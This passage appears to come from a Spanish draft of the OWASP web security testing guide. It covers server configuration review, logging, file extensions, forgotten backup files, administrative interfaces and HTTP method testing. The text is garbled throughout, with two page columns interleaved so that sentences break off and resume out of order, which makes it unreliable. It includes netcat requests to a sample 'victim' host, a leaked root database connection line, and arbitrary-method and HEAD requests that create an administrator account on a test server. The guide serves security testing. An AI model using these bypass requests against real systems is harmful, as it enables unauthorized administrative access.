almacenadas en cach por el servidor de sincronizacin y comparando el tiempo de (como NetLoony), pero todava no son de uso generalizado.
la primera solicitud con las solicitudes subsiguientes.
Los diferentes elementos que conforman la infraestructura deben ser versin del servidor web cuando las vulnerabilidades se arreglan, la herramienta de
determinados con el fin de comprender cmo interactan con una aplicacin web y anlisis marcar vulnerabilidades que no existen. Este ltimo caso es realmente
cmo afectan a su seguridad. muy comn, ya que algunos proveedores de sistemas operativos instalan parches
para arreglar vulnerabilidades de seguridad a traves de un puerto posterior al
Todos los elementos de la infraestructura deben revisarse para asegurarse de que software que proporcionan en el sistema operativo, pero no hacen una carga
no contienen vulnerabilidades conocidas. completa de la ltima versin de software. Esto sucede en la mayora de las
distribuciones de GNU/Linux como Debian, Red Hat o SuSE. En la mayora de los
Debe hacerse una revisin de las herramientas administrativas usadas para dar casos, el anlisis de vulnerabilidad de una arquitectura de aplicacin slo
mantenimiento a los diferentes elementos. encontrar vulnerabilidades asociadas a los elementos "expuestos" de la
arquitectura (como el servidor web) y suelen ser incapaces de encontrar
Los sistemas de autenticacin necesitan ser revisados para asegurarse que sirven a vulnerabilidades asociadas a elementos que no estn directamente expuestos, tales
las necesidades de la aplicacin y que no pueden ser manipulados por los usuarios como la autenticacin en segundo plano (back end), o la base de datos acceso
externos para obtener el acceso. restringido, o el proxy inverso que se encuentra en uso.
Una lista de puertos definidos que se requieren para la aplicacin debe recibir
mantenimiento y debe guardarse con un control de cambios.
Por ltimo, no todos los proveedores de software revelan vulnerabilidades de
manera pblica y, por lo tanto, estas debilidades no son registradas dentro de bases
de datos de vulnerabilidades conocidas pblicamente[1]. Esta informacin slo es
Despus de haber elaborado un mapa de los diferentes elementos que conforman revelada a los clientes o publicada a travs de soluciones que no van acompaadas
la infraestructura (vea mapa de red y arquitectura de la aplicacin), es posible de advertencias. Esto reduce la utilidad de las herramientas de anlisis de
revisar la configuracin de cada elemento encontrado y probarlos en busca de vulnerabilidad. Por lo general, la cobertura de vulnerabilidades de estas
cualquier vulnerabilidad conocida. herramientas ser muy buena para los productos comunes (como el servidor web
Apache, Microsoft Internet Information Server o IBM Lotus Domino), pero no
cumplirn con productos menos conocidos.
Cmo probar
Vulnerabilidades conocidas de los servidores Por esta razn, la revisin de vulnerabilidades se realiza mejor cuando al evaluador
se le proporciona informacin interna del software utilizado, incluyendo versiones
Las vulnerabilidades encontradas en las diferentes reas de la arquitectura de la y actualizaciones usadas y parches aplicados al software. Con esta informacin, el
aplicacin, ya sea en el servidor web o en la base de datos de acceso restringido, evaluador puede recuperar la informacin del mismo proveedor y analizar qu
pueden comprometer seriamente a la propia aplicacin. Por ejemplo, considere vulnerabilidades pueden estar presentes en la arquitectura y cmo pueden afectar a
una vulnerabilidad del servidor que permite a un usuario remoto no autenticado la aplicacin en s. Cuando sea posible, estas vulnerabilidades pueden analizarse
subir archivos al servidor web o incluso reemplazar los archivos. Esta para determinar sus efectos reales y detectar si pueden haber elementos
vulnerabilidad podra comprometer la aplicacin, ya que un usuario granuja
puede ser capaz de reemplazar la aplicacin o introducir un cdigo que puede
afectar a los servidores de acceso restringido, ya que el cdigo de la aplicacin
del atacante funcionara como cualquier otra aplicacin. externos (tales como sistemas de deteccin o prevencin de intrusiones) que
podran reducir o negar la posibilidad de explotacin exitosa. Los evaluadores
podran determinar incluso, a travs de una revisin de la configuracin, que la
vulnerabilidad no est presente, puesto que afecta a un componente de software que
La revisin de vulnerabilidades del servidor puede ser difcil de efectuar si la no est en uso.
prueba debe hacerse a travs de una prueba de penetracin ciega. En estos casos,
las vulnerabilidades deben probarse desde un sitio remoto, generalmente usando
una herramienta automatizada. Sin embargo, las pruebas de algunas
vulnerabilidades pueden tener resultados impredecibles en el servidor web, y no Tambin vale la pena sealar que los vendedores a veces solucionan las
sera posible probar para otros, (como aquellos directamente involucrados en la vulnerabilidades silenciosamente y hacen las correcciones disponibles con nuevas
negacin de ataques al servicio), debido a la reduccin de la calidad de tiempo versiones de software. Los diferentes proveedores tendrn diversos ciclos de
de servicio involucrado si la prueba fuera exitosa. lanzamiento que determinan el apoyo que pueden proporcionar para versiones ms
antiguas. Un evaluador con informacin detallada de las versiones del software
utilizado por la arquitectura puede analizar el riesgo asociado al uso de versiones
viejas de software que podran no tener soporte en el corto plazo o que ya no
Algunas herramientas automatizadas marcan las vulnerabilidades basadas en la tienen soporte. Esto es fundamental, ya que si una vulnerabilidad aparece en una
versin obtenida del servidor web. Esto lleva a falsos positivos y falsos negativos. versin antigua de software, que ya no tiene soporte, el personal de sistemas podra
Por un lado, si la versin del servidor web ha sido eliminada u oscurecida por el no estar directamente consciente de ello. No habrn parches disponibles para l y
administrador del sitio local, la herramienta de anlisis no marcar al servidor como las advertencias no pondrn en la lista a esa versin como vulnerable ya que no
vulnerable, aunque lo sea. Por otro lado, si el proveedor del software no actualiza la tiene soporte. Incluso, en el caso de que estn conscientes de que existe la
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
72
Guia de pruebas 4.0 "Borrador"
[2] Tal como Symantecs Bugtraq, ISS X-Force, o NISTs National Vulnerability
Herramientas administrativas Database (NVD).
Cualquier infraestructura de servidor web requiere la existencia de herramientas [3] Hay algunas herramientas basadas en GUI para Apache (como NetLoony), pero
administrativas para dar mantenimiento y actualizar la informacin utilizada por la no se usan masivamente todava.
aplicacin. Esta informacin incluye contenido esttico (pginas web, archivos
grficos), cdigo fuente de la aplicacin, bases de datos de autenticacin de
usuario, etc. Las herramientas administrativas sern diferentes segn el sitio, la
tecnologa o el software utilizado. Por ejemplo, algunos servidores se gestionan Pruebe la Configuracin de la Plataforma de
mediante interfaces administrativas, que son estos mismos servidores web (como el
servidor web iPlanet) o sern administradas por archivos de texto con la Aplicaciones (OTG-CONFIG-002)
configuracin (en caso del Apache[2]) que usen un sistema operativo GUI tools (al
usar el servidor IIS o ASP.Net de Microsoft). Resumen
Despus de haber elaborado mapas de las interfaces administrativas utilizadas para Mientras que la instalacin tipica del servidor de la web y de la aplicacin
administrar las diferentes partes de la arquitectura, es importante revisarla, ya que si contendr mucha funcionalidad (como ejemplos de aplicacin, documentacin,
un atacante obtiene acceso a cualquiera de ellas, entonces puede comprometer o pginas de prueba) lo que no es esencial debe retirarse antes de la implementacin
daar la arquitectura de la aplicacin. Para ello es importante: para evitar la explotacin de estos despus de la instalacin.
Oracle 9iAS) o CAN-2003-1172 (salto de directorio al ver la muestra de cdigo Es imposible decir genricamente cmo debe configurarse un servidor, sin
fuente en Cocoon de Apache). embargo, algunas pautas comunes deben tomarse en cuenta:
Los escneres CGI incluyen una lista detallada de archivos conocidos y las Slo habilite mdulos de servidor (extensiones ISAPI en IIS) que son necesarios
muestras de directorio que son entregadas por diferentes servidores web o de para la aplicacin. Esto reduce la superficie de ataque puesto que el servidor se
aplicaciones, y pueden ser una forma rpida de determinar si estos archivos estn reduce en tamao y complejidad al desactivar mdulos del software. Tambin evita
presentes. Sin embargo, la nica manera para estar totalmente seguro es hacer una que las vulnerabilidades que podran aparecer en el software del proveedor afecten
revisin completa de los contenidos del servidor web o servidor de aplicaciones y al sitio si slo estn presentes en los mdulos que han sido ya desactivados.
determinar si estn relacionados con la aplicacin propiamente dicha o no.
Maneje los errores del servidor (40x o 50x) con pginas personalizadas en vez de
usar las pginas genricas del servidor web. Especficamente asegrese de que los
errores de aplicacin no sern devueltos al usuario final y que ningn cdigo se
Revisin de comentarios filtre a travs de estos errores, ya que esto ayudara al atacante. Es realmente muy
comn olvidar este punto ya que los desarrolladores necesitan esta informacin en
Es muy comn, e incluso se recomienda a los programadores, que incluyan entornos de preproduccin.
comentarios detallados en su cdigo fuente para permitir a otros
Asegrese de que el software del servidor se ejecuta con privilegios mnimos del
sistema operativo. Esto evita que un error en el software del servidor comprometa
directamente todo el sistema, aunque un atacante podra elevar los privilegios una
programadores entender por qu se tom una determinada decisin en la vez que ejecute cdigos como servidor web.
codificacin de una funcin dada. Los programadores suelen aadir comentarios al
desarrollar aplicaciones grandes basadas en la web. Sin embargo, los comentarios Asegrese de que el software de servidor registra correctamente accesos legtimos
incluidos en lneas de cdigo HTML podran revelar informacin interna que no y errores.
debera estar disponible para un atacante. A veces, incluso existe el comentario de
haber retirado el cdigo fuente ya que una funcionalidad ya no es necesaria, pero Asegrese de que el servidor est configurado para manejar las sobrecargas
este comentario se fuga hacia afuera, a las pginas HTML que se devuelven a los adecuadamente y evitar ataques de denegacin de servicio. Asegrese de que el
usuarios accidentalmente. servidor ha sido calibrado correctamente en su rendimiento.
Revisin de la configuracin
No conceda permisos de escritura a la identidad que el servidor Web utiliza para Registros de Informacin sensible
tener acceso a applicationHost.config compartida. Esta identidad debe tener
permisos de slo lectura. Algunas aplicaciones, por ejemplo, podran utilizar peticiones GET para
enviar datos de formularios que sern vistas en los registros del servidor.
Utilice una identidad separada para publicar applicationHost.config al recurso Esto significa que los registros de servidor pueden contener informacin
compartido. No use esta identidad para configurar el acceso a la configuracin sensible (como nombres de usuario, como contraseas o datos
compartida en los servidores Web. bancarios). Esta informacin sensible puede ser mal utilizada por un
atacante si obtuvo los registros, por ejemplo, a travs de interfaces
Utilice una contrasea de alta seguridad cuando exporte las claves de encriptacin administrativas o vulnerabilidades o malas configuraciones conocidas del
para su uso con configuraciones compartidas. servidor web (como la configuracin conocida del estado del servidor en
servidores basados en
Mantenga el acceso restringido a la particin que contiene la configuracin
compartida y las claves de encriptado. Si esta particin est comprometida, un Apache HTTP).
atacante podr leer y escribir cualquier configuracin de IIS para los servidores
Web, redirigir el trfico de su sitio web hacia fuentes maliciosas y, en algunos
casos, obtener el control de todos los servidores web mediante la carga de cdigos
arbitrarios en los procesos de trabajo IIS. A menudo, los registros de sucesos contienen datos que son tiles para un
atacante (fuga de informacin), o pueden ser utilizados directamente en
Considere proteger esta parte con las reglas del firewall y las directivas de IPsec explotar:
para permitir que nicamente los servidores web miembros se conecten.
Depuracin de la informacin
Registro
Rastros de apilamiento
El registro es un aspecto importante de la seguridad de la arquitectura de
una aplicacin, ya que puede ser utilizada para detectar fallos en las Nombres de usuario
aplicaciones (usuarios que intentan constantemente recuperar un archivo
que no existe realmente), as como de ataques sostenidos de los usuarios Nombres de componentes del sistema
granujas. Los registros no se generan correcta y tpicamente por la web y
otro servidor de software. No es comn encontrar aplicaciones que Direcciones IP internas
registran correctamente sus acciones en un registro y, cuando lo hacen, la
intencin principal de los registros de aplicacin es producir resultados Datos personales menos sensibles (por ejemplo direcciones de correo electrnico,
de depuracin que podra utilizar el programador para analizar un error direcciones postales y nmeros de telfono asociados con individuos nombrados)
determinado.
Datos del negocio
Los datos estn siendo validados (min/max longitud, caracteres etc.) antes de ser Fichas de acceso
registrados?
Datos personales sensibles y algunas formas de informacin personal identificable
(PII)
Contraseas de autenticacin en la misma particin de disco como el que se usa para el software de
sistema operativo o la aplicacin en s. Esto significa que si el disco fuera
Lneas de conexin de bases de datos llenado, el sistema operativo o la aplicacin pueden fallar porque seran
incapaces de escribir en el disco.
Claves de encriptacin
Almacenamiento de registros
Esta caracterstica debe ser probada para asegurarse de que:
Los registros se comprimen una vez rotados (esto es una comodidad, ya que
significar que ms registros se almacenarn en el mismo espacio de disco
lenara el espacio asignado para los archivos de registro si no estn disponible).
prevenidos especficamente de hacerlo. Sin embargo, si el servidor no
est configurado correctamente, los archivos de registro se almacenarn
Documento Pre-release cortesa de Fernando Vela para drangonjar.org
76
Guia de pruebas 4.0 "Borrador"
El permiso del sistema de archivos de registros rotados es el mismo (o ms Las estadsticas del registro o anlisis no deben ser generadas ni
estricto) que los permisos del registro de archivos en s. Por ejemplo, los servidores almacenadas en el mismo servidor que produce los registros. De lo
web debern escribir en los registros usados, pero no necesitan realmente escribir contrario, un atacante podra, a travs de una vulnerabilidad del servidor
en registros rotados, lo que significa que los permisos de los archivos pueden web o configuracin inadecuada, tener acceso a ellos y recuperar la
modificarse segn la rotacin para evitar que el proceso del servidor web los informacin similar a la que sera revelada por los archivos de registro.
modifique.
Referencias
Algunos servidores podran rotar registros cuando alcanzan un tamao
determinado. Si esto sucede, se debe garantizar que un atacante no puede [1] Apache
obligar a rotar registros para ocultar sus huellas.
Apache Security, by Ivan Ristic, Oreilly, March 2005.
La informacin del registro de eventos nunca debe ser visible para los Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox,
usuarios finales. Incluso los administradores web no deberan ver estos October 2002 - awe.com
registros ya que se rompe la separacin del servicio de las labores de
control. Asegrese de que cualquier esquema de control de acceso que se Performance Tuning - apache.org
utiliza para proteger el acceso a los registros brutos y a cualquier
aplicacin que proporciona funcionalidades para ver o buscar los [2] Lotus Domino
registros no estn
Lotus Security Handbook, William Tworek et al., April 2004, available in
the IBM Redbooks collection - redbooks.ibm.com
conectadas a los esquemas de control de acceso para otros roles de Lotus Domino Security, an X-force white-paper, Internet Security Systems,
usuario de la aplicacin. Asimismo, los datos de registro no deben ser December 2002 - iss.net
visibles por los usuarios no autenticados.
Hackproofing Lotus Domino Web Server, David Litchfield, October 2001 -
davidlitchfield.com
Para analizar los ataques desde el servidor web, los archivos de registro
Securing Your Web Server (Patterns and Practices), Microsoft Corporation,
de error deben ser analizados. La revisin debera centrarse en: January 2004
40x mensajes de error (not found). Una gran cantidad de ellos de la misma fuente From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis,
podra ser un indicativo de una herramienta de scanner CGI utilizada contra el Microsoft Corporation, June 2001 -
servidor web
uat.technet.microsoft.com
50 x mensajes (server error). Estos pueden ser una indicacin de que un atacante
abusa de partes de la aplicacin que fallan inesperadamente. Por ejemplo, las Secure Internet Information Services 5 Checklist, by Michael Howard,
primeras fases de un ataque de inyeccin SQL producir estos mensaje de error Microsoft Corporation, June 2000
cuando la consulta SQL no est construida correctamente y su ejecucin falla en la
base de datos de acceso restringido. INFO: Using URLScan on IIS - support.microsoft.com
[4] Red Hats (formerly Netscapes) iPlanet debido a que el contenido no es el esperado, o por manejo de nombres de
archivo inesperado del OS.
Guide to the Secure Configuration and Administration of iPlanet Web
Server, Enterprise Edition 4.1, by James M Hayes - nsa.gov
[5] WebSphere Determinar cmo los servidores web manejan las peticiones
correspondientes a archivos con diferentes extensiones puede ayudar a
IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter comprender el comportamiento del servidor web segn el tipo de
Kovari et al., IBM, December 2002 - redbooks.ibm.com archivos a los que se accede. Por ejemplo, puede ayudar a entender cules
extensiones de archivo se devuelven como texto simple frente a aquellos
IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., que causan alguna ejecucin en el lado del servidor. Estos ltimos son
IBM, March 2002 - redbooks.ibm.com indicativos de las tecnologas, idiomas o plugins que son utilizados por los
servidores web o servidores de aplicaciones y pueden proporcionar
[6] General
informacion adicional de cmo est diseada la aplicacin web. Por
ejemplo, una extensin de ".pl" es generalmente asociada con un soporte
Logging Cheat Sheet, OWASP
Perl del lado del servidor. Sin embargo, la extensin de archivo sola
puede ser engaosa y no completamente concluyente. Por ejemplo, Los
SP 800-92 Guide to Computer Security Log Management, NIST
recursos de servidor Perl pueden cambiarse de nombre para ocultar el
csrc.nist.gov
hecho de que estn relacionados con Perl. Vea la siguiente seccin sobre
PCI DSS v2.0 Requirement 10 and PA-DSS v2.0 Requirement 4, PCI "componentes de servidor de web" para ms informacin sobre
Security Standards Council identificacin de componentes y tecnologas del lado del servidor.
[7] Generic:
CERT Security Improvement Modules: Securing Public Web Servers Cmo probar
How To: Use IISLockdown.exe - Enve solicitudes http[s] que incluyan diferentes extensiones y verifique
cmo se manejan. La verificacin debe estar en una base de directorio
http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp web
Resumen
Los archivos de extensiones se utilizan en los servidores web para Si la arquitectura de aplicaciones web tiene balanceo de cargas, es
determinar fcilmente qu tecnologas, idiomas y accesorios (plugins) importante evaluar a todos los servidores web. Esto puede o no ser fcil,
deben utilizarse para cumplir con la solicitud web. Si bien este dependiendo de la configuracin de la infraestructura de equilibrio. En
comportamiento es compatible con los RFC y estndares Web, utilizar las una infraestructura con componentes redundantes pueden existir ligeras
extensiones de archivo estndar proporciona al evaluador de penetracin variaciones en la configuracin de los servidores web o de aplicaciones
la informacin til sobre las tecnologas subyacentes que se utilizan en individuales . Esto puede suceder si la arquitectura web emplea
una aplicacin web y simplifica enormemente la tarea de determinar el tecnologas heterogneas (piense en un conjunto de servidores web IIS y
escenario de ataque a usar para estas tecnologas en particular. Adems, Apache en una configuracin de balanceo de carga, que puede presentar
un error de configuracin de los servidores web fcilmente podra revelar leves comportamientos asimtricos entre ellos y posiblemente diferentes
informacin confidencial sobre las credenciales de acceso. vulnerabilidades).
El evaluador ha identificado la existencia de un archivo llamado algunos ejemplos, ya que las extensiones de archivo son demasiadas para
connection.inc. Tratar de acceder a l directamente le devuelve su tratarlas exhaustivamente aqu. Refirase a http://filext.com/ para ver
contenido: una base de datos ms completa de las extensiones.
<?
Para identificar los archivos con una extensin en particular, puede
mysql_connect(127.0.0.1, root, )
emplearse una mezcla de tcnicas. Estas tcnicas pueden incluir
escneres de vulnerabilidad, herramientas de robots araa (spidering) y
or die(Could not connect);
de reflejo,
?>
inspeccin manual de la aplicacin (esto supera las limitaciones del uso
de robots araa automticos), consultar motores de bsqueda (ver
El evaluador determina la existencia de un MySQL DBMS de acceso
pruebas: spidering y googling). Vea tambin pruebas de archivos viejos,
restringido y las credenciales (dbiles) que utiliza la aplicacin web para
de copia de seguridad y archivos no referenciados que abordan los
acceder a ella.
problemas de seguridad relacionados con los archivos "olvidados".
Si la aplicacin web se basa en una infraestructura heterognea con equilibrio credenciales para conectarse a la interfaz administrativa o al servidor de
de carga, la misma determina si esta puede presentar un comportamiento base de datos.
diferente.
wget - gnu.org
Es fcil olvidar este tipo de archivos y esto puede plantear una amenaza
curl - curl.haxx.se
seria a la aplicacin. Eso sucede porque se pueden generar copias de
seguridad con extensiones de archivo diferentes a las de los archivos
google for web mirroring tools.
originales. Un archivo .tar, .zip o .gz que generamos (y olvidamos...)
obviamente tiene una extensin diferente, y lo mismo ocurre con las
copias automticas creadas por muchos editores (por ejemplo, emacs
genera una copia de seguridad denominada archivo~ al editar el archivo).
Revise archivos viejos, copias de seguridad y Hacer una copia a mano puede producir el mismo efecto (piensa en
copiar file a file.old). El sistema de archivo subyacente, en el cual se
archivos no referenciados en busca de encuentra la aplicacin, podra estar tomando "instantneas" de su
informacin sensible (OTG-CONFIG-004) aplicacin en diferentes puntos en el tiempo sin su conocimiento, y
tambin pueden ser accesibles a travs de la web. Estas representan una
Resumen amenaza de estilo similar, pero diferentes al tipo "archivo de respaldo" de
su aplicacin.
Mientras que la mayora de los archivos en un servidor web son
manejados directamente por el servidor, no es raro encontrar archivos no
referenciados u olvidados que pueden utilizarse para obtener
informacin importante acerca de la infraestructura o las credenciales. Como resultado, estas actividades generan archivos que no son
necesarios para la aplicacin y pueden ser tratados de manera distinta al
archivo original por el servidor web. Por ejemplo, si hacemos una copia
de login.asp llamada login.asp.old, estamos permitiendo a los usuarios
Los escenarios ms comunes incluyen la presencia de viejas versiones descargar el cdigo de login.asp. Esto es porque login.asp.old ser
renombradas de archivos modificados, archivos de inclusin que se atendido normalmente como texto simple, en lugar de ser ejecutado
cargan debido a su extensin. En otras palabras, acceder a login.asp causa la
ejecucin del cdigo de login.asp, mientras que acceder a login.asp.old
causa que el contenido de login.asp.old (que es, otra vez, el cdigo del
lado del servidor) se entregue simplemente al usuario y se muestre en el
en el idioma de su preferencia y pueden ser descargados como fuente, o evaluador. Esto puede plantear riesgos de seguridad, dado que
incluso copias de seguridad manuales o automticas o en forma de informacin confidencial puede ser revelada.
archivos comprimidos. Los archivos de copias de seguridad tambin
pueden ser generados automticamente por el sistema de archivos
subyacente donde se aloja la aplicacin, una caracterstica que se conoce
generalmente como "instantneas". En general, exponer el cdigo del lado del servidor es una mala idea. No
slo est usted innecesariamente exponiendo la lgica del negocio, sino
que, sin saberlo, usted puede estar develando informacin relacionada
con la aplicacin, lo que puede ayudar a un atacante (nombres de ruta de
Todos estos archivos podrn conceder acceso al evaluador a trabajos acceso, estructuras de datos, etc.). Por no mencionar el hecho de que hay
internos, puertas traseras, interfaces administrativas o incluso muchos scripts que tienen incrustado el usuario y contrasea en texto
claro (que es una prctica imprudente y muy peligrosa).
Disallow: /~jbloggs
Las secciones de comentarios y comentarios de eliminacin de los
programadores del cdigo fuente pueden referirse al contenido oculto: Disallow: /include
#!/bin/bash
var adminUser=false;
:
server=www.targetapp.com
if (adminUser) menu.add (new menuItem (Maintain users,
/admin/useradmin.jsp)); port=80
Dependiendo del servidor, GET puede ser reemplazado con HEAD para
tener resultados ms rpidos. El archivo de salida especificado puede
usar la aplicacin grep para obtener los cdigos de respuesta
"interesantes". El cdigo de respuesta 200 (OK) normalmente indica que
se ha encontrado un recurso vlido (siempre y cuando el servidor no
Otra fuente de pistas sobre los directorios no referenciados es el archivo de
entregue una pgina personalizada de "no encontrada"(not found) con el
/robots.txt utilizado para dar instrucciones a los robots de la web:
cdigo 200). Pero tambin 302 (Found), 401 (Unauthorized), 403
(Forbidden) y 500 (Internal error), que tambin pueden indicar recursos
o directorios que son dignos de una investigacin posterior.
Nota: Las operaciones de copia de archivos de Windows generan archivos Adems, Google y Yahoo mantienen versiones en cach de pginas
con nombres con el prefijo "Copia de" (Copy of) o versiones localizadas de encontradas por sus robots. Incluso si 1998results.asp ha sido eliminado del
esta cadena, por lo tanto, no cambian las extensiones de archivo. Mientras servidor de destino, una versin de salida puede todava estar almacenada en
que los archivos "Copia de" (Copy of) tpicamente no revelan el cdigo estos motores de bsqueda. La versin en cach puede contener referencias o
fuente cuando se acceden, podran entregar informacin valiosa en caso pistas sobre contenido oculto adicional que permanece en el servidor.
de que provoquen errores cuando se les invoca.
El contenido que no est referenciado desde una aplicacin de destino puede
estar vinculado a sitios web de terceros. Por ejemplo, una aplicacin que
procesa los pagos en lnea a nombre de comerciantes externos puede contener
Informacin obtenida a travs de las vulnerabilidades y mala una variedad de funcionalidades hechas a la medida que pueden
configuracin (normalmente) slo se pueden encontrar (normalmente) siguiendo los enlaces
dentro de las pginas web de sus clientes.
La manera ms obvia en que un servidor mal configurado puede revelar
pginas no referenciadas es a travs del listado del directorio. Solicite
todos los directorios enumerados para identificar cualquiera que
proporcione un listado de directorios. Filtro de desvo del nombre del archivo
Apache ?M=D directory listing vulnerability. Ejemplo: Expansin de nombre de archivo 8.3 de Windows "c:\program
files" se convierte "C:\PROGRA~1"
Various IIS script source disclosure vulnerabilities.
Remove incompatible characters
IIS WebDAV directory listing vulnerabilities.
Convert spaces to underscores
Add ~<digit> which is used to distinguish files with names using the same six Para garantizar una estrategia de proteccin efectiva, la prueba debe
initial characters estar compuesta por una poltica de seguridad que especficamente
prohbe las prcticas peligrosas tales como:
- This convention changes after the first 3 cname ollisions
Las herramientas robot tipo araa: wget (gnu.org, interlog.com); Sam Spade Deny from all
(samspade.org); Spike Proxy incluyen una funcin de rastreador del sitio web
(immunitysec.com); Xenu (home.snafu.de); Curl (curl.haxx.se). Algunos de </Location>
ellos tambin se incluyen en las distribuciones estndar de Linux.
Las interfases del administrador se pueden presentar en la aplicacin o enviadas al cliente, enlaces a las funcionalidades de administrador, pueden
en el servidor de aplicaciones para permitir que determinados usuarios descubrirse y deben investigarse.
puedan llevar a cabo actividades privilegiadas en el sitio. Se deben
realizar pruebas para revelar s y cmo esta funcionalidad privilegiada
puede ser accesada por un usuario no autorizado o estndar.
Revisar el servidor y la documentacin de aplicaciones. Si el servidor de
aplicaciones o la aplicacin se implementa en su configuracin por defecto, es
posible acceder a la interfaz de administracin con la informacin descrita
Una aplicacin puede requerir una interfaz de administrador para
habilitar un usuario con privilegios con acceso a funciones que pueden
realizar cambios de cmo funciona el sitio. Tales cambios pueden incluir:
en la documentacin de configuracin o ayuda. Las listas de contraseas por
defecto deben consultarse si se encuentra una interfaz administrativa y se requieren
credenciales.
Provisionamiento de cuentas de usuario
Informacin disponible para el pblico p. Muchas aplicaciones como wordpress
Diseo y diagramacin del sitio tienen interfaces administrativas por defecto.
Manipulacin de datos Puerto de servidor alternativo. Las interfaces de administracin pueden ser
encontradas en un puerto diferente en el host de la aplicacin principal. Por
Cambios en la configuracin ejemplo, a menudo puede verse la interfaz de administracin de Apache Tomcat en
el puerto 8080.
Cmo Probar
En la siguiente seccin se describen vectores que pueden utilizarse para o en una cookie:
probar la presencia de interfaces administrativas. Estas tcnicas tambin
pueden utilizarse para probar temas relacionados que incluyen la Cookie: session_cookie; useradmin=0
elevacin de privilegios y se describen en otros sitios de esta gua (por
ejemplo Pruebas para eludir el esquema de autorizacin (OTG-AUTHZ-
002) y Pruebas de referencias de objetos directos inseguros (OTG-
AUTHZ-004) en mayor detalle.
Aunque GET y POST son los mtodos ms comunes que se utilizan para
acceder a la informacin proporcionada por un servidor web, el protocolo
El cdigo fuente debe ser revisado para asegurar que el modelo de de transferencia de hipertexto (HTTP) permite varios otros mtodos( y
autorizacin y autenticacin garantiza la separacin clara de funciones algunos menos conocidos). RFC 2616 (que describe al HTTP versin 1.1
entre los usuarios normales y los administradores. Las funciones de la que es el estndar hoy en da) define los siguientes ocho mtodos:
interfaz de usuario compartidas entre usuarios normales y
administradores deben ser revisadas para garantizar una separacin
clara entre el dibujo de dichos componentes y la informacin que puede
fugarse de tal funcionalidad. HEAD
GET
Herramientas POST
PUT
Dirbuster este proyecto OWASP actualmente inactivo sigue siendo una gran DELETE
herramienta para forzar directorios y archivos en el servidor.
TRACE
THC-HYDRA es una herramienta que permite forzar muchas interfaces,
incluyendo la autenticacin HTTP basada en formularios. OPTIONS
Un forzador es mucho mejor cuando usa un buen diccionario, por ejemplo, el CONNECT
diccionario de netsparker.
Pruebe los mtodos HTTP (OTG-CONFIG- DELETE: Este mtodo permite a un cliente eliminar un archivo en el
006) servidor web. Un atacante puede explotarlo como una forma muy simple
y directa para modificar un sitio web o para montar un ataque DoS.
OPTIONS / HTTP/1.1
Host: www.victim.com
Mtodos HTTP Arbitrarios
En muchos casos, el cdigo que comprueba explcitamente un mtodo Nota: para entender la lgica y los objetivos de este ataque, uno debe
"GET" o "POST" sera seguro. estar familiarizado con los ataques de Cross Site Scripting.
Aprovechando una vulnerabilidad del lado del cliente: el atacante crea un sitio
$ nc www.victim.com 80
web malicioso que contiene el fragmento del cdigo hostil de JavaScript y
aprovecha alguna vulnerabilidad entre dominios del navegador de la vctima ,
TRACE / HTTP/1.1
para que el cdigo JavaScript pueda realizar con xito una conexin con el sitio
que soporta el mtodo TRACE y que origin la cookie que el atacante est
Host: www.victim.com
tratando de robar.
HTTP/1.1 200 OK
Informacin ms detallada, junto con ejemplos de cdigo, puede
encontrarse en el documento original escrito por Jeremiah Grossman.
Server: Microsoft-IIS/5.0
Content-Type: message/http Encuentre una pgina para visitar que tenga una restriccin de seguridad
que normalmente obligara una redireccin 302 hacia una pgina de
Content-Length: 39 registro o fuerce un registro directamente. La URL de la prueba en este
ejemplo funciona as, como lo hacen muchas aplicaciones web. Sin
embargo, si un evaluador obtiene una respuesta "200" que no es una
pgina de registro, es posible eludir la autenticacin y autorizacin.
TRACE / HTTP/1.1
Si el framework, firewall o la aplicacin no admite el mtodo de "JEFF",
debe $emitir una pgina de error
nc www.example.com 80 (o preferiblemente un 405 Not Allowed o
501 Not implemented error page). Si sirve a la solicitud, es vulnerable a
El contenido de la respuesta es exactamente una copia de nuestra este problema.
JEFF / HTTP/1.1
peticin original, lo que significa que el objetivo permite este mtodo.
Ahora, dnde est el peligro acechando? Si el evaluador indica un Host: www.example.com
navegador para emitir una peticin TRACE al servidor web, y este
navegador tiene una cookie para ese dominio, la cookie se incluir Si el evaluador siente que el sistema es vulnerable a este problema, debe
automticamente en los encabezados de la solicitud y, por lo tanto, se publicar ataques tipo CSRF para explotar el tema ms plenamente:
HTTP/1.1 200 OK
muestran en la respuesta resultante. En ese momento, la cadena de la
cookie ser accesible por JavaScript y ser finalmente posible enviarla a
Date: Mon, 18 Aug 2008 22:38:40 GMT
un tercero, as la cookie est etiquetada como httpOnly.
FOOBAR/admin/createUser.php?member=myAdmin
Server: Apache
JEFF/admin/changePw.php?member=myAdmin&passwd=
Set-Cookie: PHPSESSID=K53QW...
Hay varias maneras de hacer que un navegador emita una solicitud
foo123&confirm=foo123
TRACE, tales como el control XMLHTTP ActiveX en Internet Explorer y
XMLDOM en Mozilla y Netscape. Sin embargo, por razones de seguridad,
CATS /admin/groupEdit.php?group=Admins&member=myAd
al navegador se le permite iniciar una conexin slo con el dominio donde
reside el script hostil. Este es un factor atenuante, ya que el atacante debe
min&action=add
combinar el mtodo TRACE con otra vulnerabilidad para montar el
ataque.
Con suerte, usando los tres comandos anteriores que han sido
modificados para adaptarse a la aplicacin sometida a la prueba y los
Un atacante tiene dos formas de lanzar con xito un ataque de Cross Site
requisitos de prueba, se debe crear un nuevo usuario, con una contrasea
Tracing:
asignada y hacelo administrador.
Pruebas para omitir el control de acceso HEAD Si el evaluador piensa que el sistema es vulnerable a este problema, debe
emitir ataques tipo CSRF para explotar el tema ms plenamente:
Encuentre una pgina para visitar que tenga una restriccin de seguridad
que normalmente obligara una redireccin 302 a una pgina de registro
o fuerce un registro directamente. La URL de prueba en este ejemplo
funciona as, como lo hacen muchas aplicaciones web. Sin embargo, si el HEAD /admin/createUser.php?member=myAdmin
evaluador obtiene una respuesta "200" que no es una pgina de inicio de
sesin, es posible eludir la autenticacin y autorizacin. HEAD /admin/changePw.php?member=myAdmin&passwd=
foo123&confirm=foo123
$ nc www.example.com 80
HEAD /admin/groupEdit.php?group=Admins&member=myAd
HEAD /admin HTTP/1.1
min&action=add
Host: www.example.com
Server: Apache
Pragma: no-cache
Referencias
